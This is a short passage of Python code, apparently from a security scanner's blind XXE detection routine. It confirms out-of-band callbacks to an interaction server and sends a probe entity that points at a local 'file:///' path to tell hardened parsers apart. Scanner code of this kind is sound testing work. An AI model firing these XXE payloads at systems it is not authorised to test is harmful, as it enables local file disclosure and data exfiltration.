|
|
result = _tryOob(xml, rootName)
|
|
if result:
|
|
payload, protocol = result
|
|
found = True
|
|
logger.info("blind XXE confirmed (out-of-band %s callback to the interaction server)" % protocol)
|
|
_report("Out-of-band blind (collector callback: %s)" % protocol, payload)
|
|
|
|
if not found:
|
|
# Reachable-but-not-exploitable diagnostics: distinguish a hardened parser
|
|
# from a merely non-reflecting one so the user knows why it did not fire.
|
|
probe = _send(_buildDoctype(xml, rootName, '<!ENTITY %% p SYSTEM "file:///%s">%%p;' % SENTINEL))
|
|
if re.search(XXE_HARDENED_REGEX, getUnicode(probe)):
|
|
logger.info("the XML parser is reachable but appears hardened against XXE (DTD/external entities refused)")
|
|
else:
|
|
backend = _fingerprint(probe)
|
|
if backend:
|
|
logger.info("the XML body reaches a parser (back-end: '%s') but no XXE oracle could be established" % backend)
|
|
logger.warning("the XML body does not appear to be injectable via XXE")
|
|
return
|
|
|
|
logger.info("XXE scan complete")
|